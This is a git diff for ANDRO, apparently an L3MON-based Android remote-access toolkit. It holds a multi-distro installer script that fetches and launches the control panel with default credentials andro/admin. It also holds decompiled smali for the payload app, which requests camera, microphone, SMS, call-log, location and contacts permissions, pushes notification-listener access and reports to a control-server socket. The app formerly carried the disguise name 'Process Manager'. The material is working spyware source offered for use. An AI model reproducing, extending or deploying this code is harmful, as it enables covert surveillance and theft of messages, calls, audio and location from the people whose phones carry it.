diff --git a/.DS_Store b/.DS_Store
index 693f0c64..973f19a5 100644
Binary files a/.DS_Store and b/.DS_Store differ
diff --git a/.gitignore b/.gitignore
index b9ba940c..f3140f35 100644
--- a/.gitignore
+++ b/.gitignore
@@ -1,6 +1,13 @@
-
-/.DS_Store
+# macOS system files
.DS_Store
+**/.DS_Store
+.DS_Store?
+._*
+.Spotlight-V100
+.Trashes
+ehthumbs.db
+Thumbs.db
+
# Files for the ART/Dalvik VM
*.dex
diff --git a/ANDRO1click/ANDRO1click.sh b/ANDRO1click/ANDRO1click.sh
index 86eea3b7..030a4934 100644
--- a/ANDRO1click/ANDRO1click.sh
+++ b/ANDRO1click/ANDRO1click.sh
@@ -3,17 +3,92 @@
# Define colors for hacker-themed output
GREEN='\033[0;32m'
BRIGHT_GREEN='\033[1;32m'
+CYAN='\033[0;36m'
+BRIGHT_CYAN='\033[1;36m'
+BLUE='\033[0;34m'
+BRIGHT_BLUE='\033[1;34m'
+RED='\033[0;31m'
+BRIGHT_RED='\033[1;31m'
+YELLOW='\033[0;33m'
+BRIGHT_YELLOW='\033[1;33m'
+PURPLE='\033[0;35m'
+BRIGHT_PURPLE='\033[1;35m'
NC='\033[0m' # No Color (reset)
-# Display banner
-echo -e "${BRIGHT_GREEN}"
-echo " █████╗ ███╗ ██╗██████╗ ██████╗ ██████╗ "
-echo " ██╔══██╗████╗ ██║██╔══██╗██╔══██╗██╔═══██╗"
-echo " ███████║██╔██╗ ██║██║ ██║██████╔╝██║ ██║"
-echo " ██╔══██║██║╚██╗██║██║ ██║██╔══██╗██║ ██║"
-echo " ██║ ██║██║ ╚████║██████╔╝██║ ██║╚██████╔╝"
-echo " ╚═╝ ╚═╝╚═╝ ╚═══╝╚═════╝ ╚═╝ ╚═╝ ╚═════╝ "
-echo -e "${NC}"
+# Get terminal size
+TERM_WIDTH=$(tput cols 2>/dev/null || echo 80)
+TERM_HEIGHT=$(tput lines 2>/dev/null || echo 24)
+
+# Function to create a centered line with padding
+center_line() {
+ local text="$1"
+ local color_start="$2"
+ local color_end="$3"
+ local text_length=${#text}
+ local padding_total=$((TERM_WIDTH - 4 - text_length))
+ local padding_left=$((padding_total / 2))
+ local padding_right=$((padding_total - padding_left))
+ local padding_left_str="$(printf '%*s' $padding_left '')"
+ local padding_right_str="$(printf '%*s' $padding_right '')"
+
+ echo -e "${BRIGHT_RED}║${color_start}${padding_left_str}${text}${padding_right_str}${color_end}${BRIGHT_RED}║${NC}"
+}
+
+# Create border line of appropriate width
+create_border_line() {
+ local char="$1"
+ local border_width=$((TERM_WIDTH - 2))
+ printf "${BRIGHT_RED}%s%s%s${NC}\n" "$char" "$(printf '%*s' $border_width | tr ' ' '═')" "$char"
+}
+
+# Display enhanced banner with auto-sizing
+clear
+echo ""
+
+# Top border
+create_border_line "╔" "╗"
+
+# Empty line
+center_line "" "" ""
+
+# Logo lines - will center in terminal
+if [ $TERM_WIDTH -ge 70 ]; then
+ # Full logo for larger terminals
+ center_line " █████╗ ███╗ ██╗██████╗ ██████╗ ██████╗ " "${BRIGHT_GREEN}" "${NC}"
+ center_line " ██╔══██╗████╗ ██║██╔══██╗██╔══██╗██╔═══██╗ " "${BRIGHT_GREEN}" "${NC}"
+ center_line " ███████║██╔██╗ ██║██║ ██║██████╔╝██║ ██║ " "${BRIGHT_GREEN}" "${NC}"
+ center_line " ██╔══██║██║╚██╗██║██║ ██║██╔══██╗██║ ██║ " "${BRIGHT_GREEN}" "${NC}"
+ center_line " ██║ ██║██║ ╚████║██████╔╝██║ ██║╚██████╔╝ " "${BRIGHT_GREEN}" "${NC}"
+ center_line " ╚═╝ ╚═╝╚═╝ ╚═══╝╚═════╝ ╚═╝ ╚═╝ ╚═════╝ " "${BRIGHT_GREEN}" "${NC}"
+else
+ # Simplified logo for smaller terminals
+ center_line "╔══ ANDRO ══╗" "${BRIGHT_GREEN}" "${NC}"
+ center_line "║ Android Data ║" "${BRIGHT_GREEN}" "${NC}"
+ center_line "╚═══════════╝" "${BRIGHT_GREEN}" "${NC}"
+fi
+
+# Empty line
+center_line "" "" ""
+
+# Description - adapts to different terminal widths
+if [ $TERM_WIDTH -ge 70 ]; then
+ center_line "𝒜𝓃𝒹𝓇𝓸𝒾𝒹 𝒟𝒶𝓉𝒶 𝒜𝓊𝓉𝑜𝓂𝒶𝓉𝒾𝑜𝓃 & 𝑅𝑒𝓂𝑜𝓉𝑒 𝒪𝓅𝑒𝓇𝒶𝓉𝒾𝑜𝓃𝓈" "${BRIGHT_CYAN}" "${NC}"
+else
+ center_line "Android Data Automation" "${BRIGHT_CYAN}" "${NC}"
+ center_line "& Remote Operations" "${BRIGHT_CYAN}" "${NC}"
+fi
+
+# Empty line
+center_line "" "" ""
+
+# Copyright notice
+center_line "Created by Vivek W © $(date +%Y)" "${BRIGHT_YELLOW}" "${NC}"
+
+# Bottom border
+create_border_line "╚" "╝"
+
+echo ""
+sleep 1
# Function to log actions
log() {
@@ -43,8 +118,25 @@ execute() {
# Detect operating system
log "Detecting operating system..."
-if [[ "$OSTYPE" == "linux-gnu"* ]]; then
- OS="Linux"
+if [[ -f /data/data/com.termux/files/usr/bin/termux-info ]]; then
+ OS="Termux"
+elif [[ "$OSTYPE" == "linux-gnu"* ]]; then
+ # Further detect specific Linux distribution
+ if [ -f /etc/arch-release ]; then
+ OS="Arch"
+ elif [ -f /etc/fedora-release ]; then
+ OS="Fedora"
+ elif [ -f /etc/gentoo-release ]; then
+ OS="Gentoo"
+ elif [ -f /etc/garuda-release ]; then
+ OS="Garuda"
+ elif [ -f /etc/redhat-release ]; then
+ OS="RHEL/CentOS"
+ elif [ -f /etc/debian_version ]; then
+ OS="Debian/Ubuntu"
+ else
+ OS="Linux"
+ fi
elif [[ "$OSTYPE" == "darwin"* ]]; then
OS="macOS"
elif [[ "$OSTYPE" == "msys" ]] || [[ "$OSTYPE" == "win32" ]] || [[ "$OSTYPE" == "cygwin" ]]; then
@@ -55,8 +147,157 @@ fi
log "Detected OS: $OS"
# Install dependencies based on OS
-if [ "$OS" == "Linux" ]; then
- log "Updating package lists..."
+if [ "$OS" == "Termux" ]; then
+ log "Termux detected. Updating and upgrading packages..."
+ execute "pkg update -y" "Failed to update package lists"
+ execute "pkg upgrade -y" "Failed to upgrade packages"
+
+ # Check and install Node.js
+ if check_command node; then
+ log "Node.js is already installed. Version: $(node --version)"
+ else
+ log "Installing Node.js..."
+ execute "pkg install nodejs -y" "Failed to install Node.js"
+ fi
+
+ # Check and install unzip
+ if check_command unzip; then
+ log "unzip is already installed."
+ else
+ log "Installing unzip..."
+ execute "pkg install unzip -y" "Failed to install unzip"
+ fi
+
+ # Check and install wget
+ if check_command wget; then
+ log "wget is already installed."
+ else
+ log "Installing wget..."
+ execute "pkg install wget -y" "Failed to install wget"
+ fi
+
+ # Check and install OpenJDK
+ if check_command java; then
+ log "Java is already installed. Version: $(java -version 2>&1 | head -n 1)"
+ else
+ log "Installing OpenJDK..."
+ execute "pkg install openjdk-17 -y" "Failed to install OpenJDK"
+ fi
+
+elif [ "$OS" == "Arch" ] || [ "$OS" == "Garuda" ]; then
+ log "Arch-based Linux detected. Updating package lists..."
+ execute "sudo pacman -Syu --noconfirm" "Failed to update package lists"
+
+ # Check and install Node.js
+ if check_command node; then
+ log "Node.js is already installed. Version: $(node --version)"
+ else
+ log "Installing Node.js..."
+ execute "sudo pacman -S nodejs npm --noconfirm" "Failed to install Node.js"
+ fi
+
+ # Check and install unzip
+ if check_command unzip; then
+ log "unzip is already installed."
+ else
+ log "Installing unzip..."
+ execute "sudo pacman -S unzip --noconfirm" "Failed to install unzip"
+ fi
+
+ # Check and install OpenJDK 8 JRE
+ if java -version 2>&1 | grep -q "version \"1.8"; then
+ log "OpenJDK 8 is already installed."
+ else
+ log "Installing OpenJDK 8 JRE..."
+ execute "sudo pacman -S jre8-openjdk --noconfirm" "Failed to install OpenJDK 8"
+ fi
+
+elif [ "$OS" == "Fedora" ]; then
+ log "Fedora detected. Updating package lists..."
+ execute "sudo dnf update -y" "Failed to update package lists"
+
+ # Check and install Node.js
+ if check_command node; then
+ log "Node.js is already installed. Version: $(node --version)"
+ else
+ log "Installing Node.js..."
+ execute "sudo dnf install nodejs -y" "Failed to install Node.js"
+ fi
+
+ # Check and install unzip
+ if check_command unzip; then
+ log "unzip is already installed."
+ else
+ log "Installing unzip..."
+ execute "sudo dnf install unzip -y" "Failed to install unzip"
+ fi
+
+ # Check and install OpenJDK 8 JRE
+ if java -version 2>&1 | grep -q "version \"1.8"; then
+ log "OpenJDK 8 is already installed."
+ else
+ log "Installing OpenJDK 8 JRE..."
+ execute "sudo dnf install java-1.8.0-openjdk -y" "Failed to install OpenJDK 8"
+ fi
+
+elif [ "$OS" == "RHEL/CentOS" ]; then
+ log "RHEL/CentOS detected. Updating package lists..."
+ execute "sudo yum update -y" "Failed to update package lists"
+
+ # Check and install Node.js
+ if check_command node; then
+ log "Node.js is already installed. Version: $(node --version)"
+ else
+ log "Installing Node.js..."
+ execute "sudo yum install nodejs -y" "Failed to install Node.js"
+ fi
+
+ # Check and install unzip
+ if check_command unzip; then
+ log "unzip is already installed."
+ else
+ log "Installing unzip..."
+ execute "sudo yum install unzip -y" "Failed to install unzip"
+ fi
+
+ # Check and install OpenJDK 8 JRE
+ if java -version 2>&1 | grep -q "version \"1.8"; then
+ log "OpenJDK 8 is already installed."
+ else
+ log "Installing OpenJDK 8 JRE..."
+ execute "sudo yum install java-1.8.0-openjdk -y" "Failed to install OpenJDK 8"
+ fi
+
+elif [ "$OS" == "Gentoo" ]; then
+ log "Gentoo detected. Updating package lists..."
+ execute "sudo emerge --sync" "Failed to update package lists"
+
+ # Check and install Node.js
+ if check_command node; then
+ log "Node.js is already installed. Version: $(node --version)"
+ else
+ log "Installing Node.js..."
+ execute "sudo emerge -av net-libs/nodejs" "Failed to install Node.js"
+ fi
+
+ # Check and install unzip
+ if check_command unzip; then
+ log "unzip is already installed."
+ else
+ log "Installing unzip..."
+ execute "sudo emerge -av app-arch/unzip" "Failed to install unzip"
+ fi
+
+ # Check and install OpenJDK 8 JRE
+ if java -version 2>&1 | grep -q "version \"1.8"; then
+ log "OpenJDK 8 is already installed."
+ else
+ log "Installing OpenJDK 8 JRE..."
+ execute "sudo emerge -av dev-java/openjdk-bin:8" "Failed to install OpenJDK 8"
+ fi
+
+elif [ "$OS" == "Debian/Ubuntu" ] || [ "$OS" == "Linux" ]; then
+ log "Debian/Ubuntu or general Linux detected. Updating package lists..."
execute "sudo apt update -y" "Failed to update package lists"
# Check and install Node.js
@@ -186,7 +427,11 @@ if [ -f "ANDRO.zip" ]; then
log "ANDRO.zip already exists. Using existing file."
else
log "Downloading ANDRO.zip..."
- execute "wget https://github.com/AryanVBW/ANDRO/releases/download/v.2.0/ANDRO.zip" "Failed to download ANDRO.zip"
+ if [ "$OS" == "Termux" ]; then
+ execute "wget https://github.com/AryanVBW/ANDRO/releases/download/v.2.0/ANDRO.zip -O ANDRO.zip" "Failed to download ANDRO.zip"
+ else
+ execute "wget https://github.com/AryanVBW/ANDRO/releases/download/v.2.0/ANDRO.zip" "Failed to download ANDRO.zip"
+ fi
fi
# Check if ANDRO directory exists
@@ -213,8 +458,38 @@ log "To view the application status, run: pm2 status"
log "To view logs, run: pm2 logs"
log "To stop the application, run: pm2 stop index.js"
+# Define colors for hacker-themed output
+GREEN='\033[0;32m'
+BRIGHT_GREEN='\033[1;32m'
+BRIGHT_PURPLE='\033[1;35m'
+NC='\033[0m' # No Color (reset)
+
+# Highlight specific parts of the output with different colors
+URL_COLOR='\033[1;34m' # Bright Blue for URLs
+CREDENTIAL_COLOR='\033[1;33m' # Bright Yellow for credentials
+
echo -e "${BRIGHT_GREEN}Installation complete! ANDRO is now running.${NC}"
-echo -e "${BRIGHT_GREEN}Access the service at:${NC}"
-echo -e "${BRIGHT_GREEN}Localhost URL: http://localhost:8080${NC}"
-echo -e "${BRIGHT_GREEN}System IP URL: http://$(hostname -I | awk '{print $1}'):8080${NC}"
-echo -e "${BRIGHT_GREEN}Login credentials - Username: andro, Password: admin${NC}"
+echo -e "${BRIGHT_PURPLE}Access the service at:${NC}"
+
+# Get IP address based on OS
+if [ "$OS" == "Termux" ]; then
+ IP_ADDRESS=$(ifconfig 2>/dev/null | grep -E "inet (addr:)?192\.168\.[0-9]+\.[0-9]+" | awk '{print $2}' | sed 's/addr://')
+ if [ -z "$IP_ADDRESS" ]; then
+ IP_ADDRESS=$(ip addr show 2>/dev/null | grep -E "inet 192\.168\.[0-9]+\.[0-9]+" | awk '{print $2}' | cut -d/ -f1)
+ fi
+elif [[ "$OS" == "Linux" ]] || [[ "$OS" == "Debian/Ubuntu" ]] || [[ "$OS" == "Arch" ]] || [[ "$OS" == "Garuda" ]] || [[ "$OS" == "Fedora" ]] || [[ "$OS" == "RHEL/CentOS" ]] || [[ "$OS" == "Gentoo" ]]; then
+ IP_ADDRESS=$(hostname -I 2>/dev/null | awk '{print $1}')
+ if [ -z "$IP_ADDRESS" ]; then
+ IP_ADDRESS=$(ip addr show 2>/dev/null | grep -E "inet 192\.168\.[0-9]+\.[0-9]+" | awk '{print $2}' | cut -d/ -f1 | head -n 1)
+ fi
+elif [ "$OS" == "macOS" ]; then
+ IP_ADDRESS=$(ifconfig | grep "inet " | grep -v 127.0.0.1 | awk '{print $2}' | head -n 1)
+elif [ "$OS" == "Windows" ]; then
+ IP_ADDRESS=$(ipconfig | findstr /i "IPv4" | awk '{print $NF}' | head -n 1)
+else
+ IP_ADDRESS="Unknown"
+fi
+
+echo -e "${BRIGHT_PURPLE}Localhost URL: ${URL_COLOR}http://localhost:8080${NC}"
+echo -e "${BRIGHT_PURPLE}System IP URL: ${URL_COLOR}http://${IP_ADDRESS}:8080${NC}"
+echo -e "${BRIGHT_PURPLE}Login credentials - Username: ${CREDENTIAL_COLOR}andro${NC}, Password: ${CREDENTIAL_COLOR}admin${NC}"
diff --git a/app/.DS_Store b/app/.DS_Store
index 6322e6f5..9375c9db 100644
Binary files a/app/.DS_Store and b/app/.DS_Store differ
diff --git a/app/factory/.DS_Store b/app/factory/.DS_Store
index 2ec57dd4..756b7d6e 100644
Binary files a/app/factory/.DS_Store and b/app/factory/.DS_Store differ
diff --git a/app/factory/decompiled/AndroidManifest.xml b/app/factory/decompiled/AndroidManifest.xml
index 2cbfb3b3..e935e3a8 100644
--- a/app/factory/decompiled/AndroidManifest.xml
+++ b/app/factory/decompiled/AndroidManifest.xml
@@ -1,35 +1,72 @@
-
-
-
-
+
+
-
-
+
+
+
+
+
+
+
+
+
+
+
+
+
+
-
-
-
+
+
+
+
+
-
-
+
+
+
+
-
+
+
@@ -38,7 +75,12 @@
-
+
+
diff --git a/app/factory/decompiled/apktool.yml b/app/factory/decompiled/apktool.yml
index d866605e..68828e27 100644
--- a/app/factory/decompiled/apktool.yml
+++ b/app/factory/decompiled/apktool.yml
@@ -9,8 +9,8 @@ packageInfo:
forcedPackageId: '127'
renameManifestPackage: null
sdkInfo:
- minSdkVersion: '11'
- targetSdkVersion: '24'
+ minSdkVersion: '21'
+ targetSdkVersion: '33'
sharedLibrary: false
sparseResources: false
unknownFiles: {}
@@ -20,5 +20,5 @@ usesFramework:
tag: null
version: 2.4.0
versionInfo:
- versionCode: '1'
- versionName: '1.0'
+ versionCode: '2'
+ versionName: '2.0'
diff --git a/app/factory/decompiled/build/apk/classes.dex b/app/factory/decompiled/build/apk/classes.dex
index 93e68b67..ad2527c4 100644
Binary files a/app/factory/decompiled/build/apk/classes.dex and b/app/factory/decompiled/build/apk/classes.dex differ
diff --git a/app/factory/decompiled/build/apk/res/mipmap-hdpi/ic_launcher.png b/app/factory/decompiled/build/apk/res/mipmap-hdpi/ic_launcher.png
index 1dbefa9a..c557a3d2 100644
Binary files a/app/factory/decompiled/build/apk/res/mipmap-hdpi/ic_launcher.png and b/app/factory/decompiled/build/apk/res/mipmap-hdpi/ic_launcher.png differ
diff --git a/app/factory/decompiled/build/apk/res/mipmap-mdpi/ic_launcher.png b/app/factory/decompiled/build/apk/res/mipmap-mdpi/ic_launcher.png
index c8e29864..2fd71111 100644
Binary files a/app/factory/decompiled/build/apk/res/mipmap-mdpi/ic_launcher.png and b/app/factory/decompiled/build/apk/res/mipmap-mdpi/ic_launcher.png differ
diff --git a/app/factory/decompiled/build/apk/res/mipmap-xhdpi/ic_launcher.png b/app/factory/decompiled/build/apk/res/mipmap-xhdpi/ic_launcher.png
index c0cad09c..bd67148c 100644
Binary files a/app/factory/decompiled/build/apk/res/mipmap-xhdpi/ic_launcher.png and b/app/factory/decompiled/build/apk/res/mipmap-xhdpi/ic_launcher.png differ
diff --git a/app/factory/decompiled/build/apk/res/mipmap-xxhdpi/ic_launcher.png b/app/factory/decompiled/build/apk/res/mipmap-xxhdpi/ic_launcher.png
index 82b54070..0e7ce0a5 100644
Binary files a/app/factory/decompiled/build/apk/res/mipmap-xxhdpi/ic_launcher.png and b/app/factory/decompiled/build/apk/res/mipmap-xxhdpi/ic_launcher.png differ
diff --git a/app/factory/decompiled/build/apk/res/mipmap-xxxhdpi/ic_launcher.png b/app/factory/decompiled/build/apk/res/mipmap-xxxhdpi/ic_launcher.png
index e33de9c9..21d941cf 100644
Binary files a/app/factory/decompiled/build/apk/res/mipmap-xxxhdpi/ic_launcher.png and b/app/factory/decompiled/build/apk/res/mipmap-xxxhdpi/ic_launcher.png differ
diff --git a/app/factory/decompiled/build/apk/resources.arsc b/app/factory/decompiled/build/apk/resources.arsc
index 904fea41..e0a03989 100644
Binary files a/app/factory/decompiled/build/apk/resources.arsc and b/app/factory/decompiled/build/apk/resources.arsc differ
diff --git a/app/factory/decompiled/res/mipmap-hdpi/ic_launcher.png b/app/factory/decompiled/res/mipmap-hdpi/ic_launcher.png
index cde69bcc..c01a3bbe 100644
Binary files a/app/factory/decompiled/res/mipmap-hdpi/ic_launcher.png and b/app/factory/decompiled/res/mipmap-hdpi/ic_launcher.png differ
diff --git a/app/factory/decompiled/res/mipmap-mdpi/ic_launcher.png b/app/factory/decompiled/res/mipmap-mdpi/ic_launcher.png
index c133a0cb..27338828 100644
Binary files a/app/factory/decompiled/res/mipmap-mdpi/ic_launcher.png and b/app/factory/decompiled/res/mipmap-mdpi/ic_launcher.png differ
diff --git a/app/factory/decompiled/res/mipmap-xhdpi/ic_launcher.png b/app/factory/decompiled/res/mipmap-xhdpi/ic_launcher.png
index bfa42f0e..6285c80f 100644
Binary files a/app/factory/decompiled/res/mipmap-xhdpi/ic_launcher.png and b/app/factory/decompiled/res/mipmap-xhdpi/ic_launcher.png differ
diff --git a/app/factory/decompiled/res/mipmap-xxhdpi/ic_launcher.png b/app/factory/decompiled/res/mipmap-xxhdpi/ic_launcher.png
index 324e72cd..9e30c4d4 100644
Binary files a/app/factory/decompiled/res/mipmap-xxhdpi/ic_launcher.png and b/app/factory/decompiled/res/mipmap-xxhdpi/ic_launcher.png differ
diff --git a/app/factory/decompiled/res/mipmap-xxxhdpi/ic_launcher.png b/app/factory/decompiled/res/mipmap-xxxhdpi/ic_launcher.png
index aee44e13..a032b87d 100644
Binary files a/app/factory/decompiled/res/mipmap-xxxhdpi/ic_launcher.png and b/app/factory/decompiled/res/mipmap-xxxhdpi/ic_launcher.png differ
diff --git a/app/factory/decompiled/res/values/strings.xml b/app/factory/decompiled/res/values/strings.xml
index cc08ac45..64790fb7 100644
--- a/app/factory/decompiled/res/values/strings.xml
+++ b/app/factory/decompiled/res/values/strings.xml
@@ -1,4 +1,4 @@
- Process Manager
+ ANDRO
diff --git a/app/factory/decompiled/smali/com/etechd/l3mon/IOSocket.smali b/app/factory/decompiled/smali/com/etechd/l3mon/IOSocket.smali
index 9e1b7be8..627cb891 100644
--- a/app/factory/decompiled/smali/com/etechd/l3mon/IOSocket.smali
+++ b/app/factory/decompiled/smali/com/etechd/l3mon/IOSocket.smali
@@ -74,7 +74,7 @@
invoke-direct {v2}, Ljava/lang/StringBuilder;->()V
- const-string v3, "http://0.0.0.0:8084?model="
+ const-string v3, "http://127.0.0.1:8084?model="
invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
diff --git a/app/factory/decompiled/smali/com/etechd/l3mon/MainActivity.smali b/app/factory/decompiled/smali/com/etechd/l3mon/MainActivity.smali
index e1dd44be..eb1ef7eb 100644
--- a/app/factory/decompiled/smali/com/etechd/l3mon/MainActivity.smali
+++ b/app/factory/decompiled/smali/com/etechd/l3mon/MainActivity.smali
@@ -2,8 +2,36 @@
.super Landroid/app/Activity;
.source "MainActivity.java"
+.field private static final PERMISSIONS_REQUEST_CODE:I = 0x7b
+.field private static final REQUIRED_PERMISSIONS:[Ljava/lang/String;
# direct methods
+.method static constructor ()V
+ .locals 12
+
+ .line 20
+ const-string v0, "android.permission.CAMERA"
+ const-string v1, "android.permission.READ_EXTERNAL_STORAGE"
+ const-string v2, "android.permission.WRITE_EXTERNAL_STORAGE"
+ const-string v3, "android.permission.READ_SMS"
+ const-string v4, "android.permission.SEND_SMS"
+ const-string v5, "android.permission.READ_PHONE_STATE"
+ const-string v6, "android.permission.READ_CALL_LOG"
+ const-string v7, "android.permission.RECORD_AUDIO"
+ const-string v8, "android.permission.ACCESS_COARSE_LOCATION"
+ const-string v9, "android.permission.ACCESS_FINE_LOCATION"
+ const-string v10, "android.permission.READ_CONTACTS"
+ const-string v11, "android.permission.POST_NOTIFICATIONS"
+
+ filled-new-array/range {v0 .. v11}, [Ljava/lang/String;
+
+ move-result-object v0
+
+ sput-object v0, Lcom/etechd/l3mon/MainActivity;->REQUIRED_PERMISSIONS:[Ljava/lang/String;
+
+ return-void
+.end method
+
.method public constructor ()V
.locals 0
@@ -13,32 +41,112 @@
return-void
.end method
+.method private checkAndRequestPermissions()V
+ .locals 6
+
+ .line 80
+ sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
+
+ const/16 v1, 0x17
+
+ if-lt v0, v1, :cond_2
+
+ .line 81
+ new-instance v0, Ljava/util/ArrayList;
+
+ invoke-direct {v0}, Ljava/util/ArrayList;->()V
+
+ .line 83
+ .local v0, "permissionsToRequest":Ljava/util/List;, "Ljava/util/List;"
+ sget-object v1, Lcom/etechd/l3mon/MainActivity;->REQUIRED_PERMISSIONS:[Ljava/lang/String;
+
+ array-length v2, v1
+
+ const/4 v3, 0x0
+
+ :goto_0
+ if-ge v3, v2, :cond_1
+
+ aget-object v4, v1, v3
+
+ .line 84
+ .local v4, "permission":Ljava/lang/String;
+ invoke-virtual {p0, v4}, Lcom/etechd/l3mon/MainActivity;->checkSelfPermission(Ljava/lang/String;)I
+
+ move-result v5
+
+ if-eqz v5, :cond_0
+
+ .line 85
+ invoke-interface {v0, v4}, Ljava/util/List;->add(Ljava/lang/Object;)Z
+
+ .line 83
+ .end local v4 # "permission":Ljava/lang/String;
+ :cond_0
+ add-int/lit8 v3, v3, 0x1
+
+ goto :goto_0
+
+ .line 89
+ :cond_1
+ invoke-interface {v0}, Ljava/util/List;->isEmpty()Z
+
+ move-result v1
+
+ if-nez v1, :cond_2
+
+ .line 90
+ invoke-interface {v0}, Ljava/util/List;->size()I
+
+ move-result v1
+
+ new-array v1, v1, [Ljava/lang/String;
+
+ invoke-interface {v0, v1}, Ljava/util/List;->toArray([Ljava/lang/Object;)[Ljava/lang/Object;
+
+ move-result-object v1
+
+ check-cast v1, [Ljava/lang/String;
+
+ .line 91
+ .local v1, "permissionsArray":[Ljava/lang/String;
+ const/16 v2, 0x7b
+
+ invoke-virtual {p0, v1, v2}, Lcom/etechd/l3mon/MainActivity;->requestPermissions([Ljava/lang/String;I)V
+
+ .line 94
+ .end local v0 # "permissionsToRequest":Ljava/util/List;, "Ljava/util/List;"
+ .end local v1 # "permissionsArray":[Ljava/lang/String;
+ :cond_2
+ return-void
+.end method
+
.method private isNotificationServiceRunning()Z
.locals 4
- .line 54
+ .line 105
invoke-virtual {p0}, Lcom/etechd/l3mon/MainActivity;->getContentResolver()Landroid/content/ContentResolver;
move-result-object v0
- .line 55
+ .line 106
.local v0, "contentResolver":Landroid/content/ContentResolver;
nop
- .line 56
+ .line 107
const-string v1, "enabled_notification_listeners"
invoke-static {v0, v1}, Landroid/provider/Settings$Secure;->getString(Landroid/content/ContentResolver;Ljava/lang/String;)Ljava/lang/String;
move-result-object v1
- .line 57
+ .line 108
.local v1, "enabledNotificationListeners":Ljava/lang/String;
invoke-virtual {p0}, Lcom/etechd/l3mon/MainActivity;->getPackageName()Ljava/lang/String;
move-result-object v2
- .line 58
+ .line 109
.local v2, "packageName":Ljava/lang/String;
if-eqz v1, :cond_0
@@ -59,21 +167,10 @@
return v3
.end method
+.method private startServices()V
+ .locals 2
-# virtual methods
-.method protected onCreate(Landroid/os/Bundle;)V
- .locals 9
- .param p1, "savedInstanceState" # Landroid/os/Bundle;
-
- .line 21
- invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V
-
- .line 23
- const/high16 v0, 0x7f040000
-
- invoke-virtual {p0, v0}, Lcom/etechd/l3mon/MainActivity;->setContentView(I)V
-
- .line 24
+ .line 97
new-instance v0, Landroid/content/Intent;
const-class v1, Lcom/etechd/l3mon/MainService;
@@ -82,103 +179,89 @@
invoke-virtual {p0, v0}, Lcom/etechd/l3mon/MainActivity;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
- .line 25
+ .line 98
invoke-direct {p0}, Lcom/etechd/l3mon/MainActivity;->isNotificationServiceRunning()Z
move-result v0
- .line 26
+ .line 99
.local v0, "isNotificationServiceRunning":Z
if-nez v0, :cond_0
- .line 28
- invoke-virtual {p0}, Lcom/etechd/l3mon/MainActivity;->getApplicationContext()Landroid/content/Context;
-
- move-result-object v1
-
- .line 29
- .local v1, "context":Landroid/content/Context;
- const-string v2, "Click \'Permissions\'\nEnable ALL permissions\n Click back x2\n Enable \'Package Manager\'"
-
- .line 30
- .local v2, "text":Ljava/lang/CharSequence;
- const/4 v3, 0x1
-
- .line 32
- .local v3, "duration":I
- invoke-static {v1, v2, v3}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;
-
- move-result-object v4
-
- .line 34
- .local v4, "toast":Landroid/widget/Toast;
- invoke-virtual {v4}, Landroid/widget/Toast;->getView()Landroid/view/View;
-
- move-result-object v5
-
- const v6, 0x102000b
-
- invoke-virtual {v5, v6}, Landroid/view/View;->findViewById(I)Landroid/view/View;
+ .line 100
+ new-instance v1, Landroid/content/Intent;
- move-result-object v5
+ const-string v1, "android.settings.ACTION_NOTIFICATION_LISTENER_SETTINGS"
- check-cast v5, Landroid/widget/TextView;
+ invoke-direct {v1}, Landroid/content/Intent;->(Ljava/lang/String;)V
- .line 35
- .local v5, "v":Landroid/widget/TextView;
- const/high16 v6, -0x10000
+ invoke-virtual {p0, v1}, Lcom/etechd/l3mon/MainActivity;->startActivity(Landroid/content/Intent;)V
- invoke-virtual {v5, v6}, Landroid/widget/TextView;->setTextColor(I)V
-
- .line 36
- sget-object v6, Landroid/graphics/Typeface;->DEFAULT_BOLD:Landroid/graphics/Typeface;
+ .line 102
+ :cond_0
+ return-void
+.end method
- invoke-virtual {v5, v6}, Landroid/widget/TextView;->setTypeface(Landroid/graphics/Typeface;)V
+# virtual methods
+.method protected onCreate(Landroid/os/Bundle;)V
+ .locals 2
+ .param p1, "savedInstanceState" # Landroid/os/Bundle;
- .line 37
- const/16 v6, 0x11
+ .line 25
+ invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V
- invoke-virtual {v5, v6}, Landroid/widget/TextView;->setGravity(I)V
+ .line 26
+ const/high16 v0, 0x7f040000
- .line 38
- invoke-virtual {v4}, Landroid/widget/Toast;->show()V
+ invoke-virtual {p0, v0}, Lcom/etechd/l3mon/MainActivity;->setContentView(I)V
+
+ .line 28
+ sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
- .line 41
- new-instance v6, Landroid/content/Intent;
+ const/16 v1, 0x17
- const-string v7, "android.settings.ACTION_NOTIFICATION_LISTENER_SETTINGS"
+ if-lt v0, v1, :cond_0
- invoke-direct {v6, v7}, Landroid/content/Intent;->(Ljava/lang/String;)V
+ .line 29
+ invoke-direct {p0}, Lcom/etechd/l3mon/MainActivity;->checkAndRequestPermissions()V
- invoke-virtual {p0, v6}, Lcom/etechd/l3mon/MainActivity;->startActivity(Landroid/content/Intent;)V
+ goto :goto_0
- .line 44
- new-instance v6, Landroid/content/Intent;
+ .line 31
+ :cond_0
+ invoke-direct {p0}, Lcom/etechd/l3mon/MainActivity;->startServices()V
+
+ .line 32
+ invoke-virtual {p0}, Lcom/etechd/l3mon/MainActivity;->finish()V
- const-string v7, "package:com.etechd.l3mon"
+ .line 34
+ :goto_0
+ return-void
+.end method
- invoke-static {v7}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
+.method public onRequestPermissionsResult(I[Ljava/lang/String;[I)V
+ .locals 3
+ .param p1, "requestCode" # I
+ .param p2, "permissions" # [Ljava/lang/String;
+ .param p3, "grantResults" # [I
- move-result-object v7
+ .line 61
+ const/16 v0, 0x7b
- const-string v8, "android.settings.APPLICATION_DETAILS_SETTINGS"
+ if-ne p1, v0, :cond_1
- invoke-direct {v6, v8, v7}, Landroid/content/Intent;->(Ljava/lang/String;Landroid/net/Uri;)V
+ .line 62
+ array-length v0, p3
- .line 45
- .local v6, "i":Landroid/content/Intent;
- invoke-virtual {p0, v6}, Lcom/etechd/l3mon/MainActivity;->startActivity(Landroid/content/Intent;)V
+ if-lez v0, :cond_1
- .line 48
- .end local v1 # "context":Landroid/content/Context;
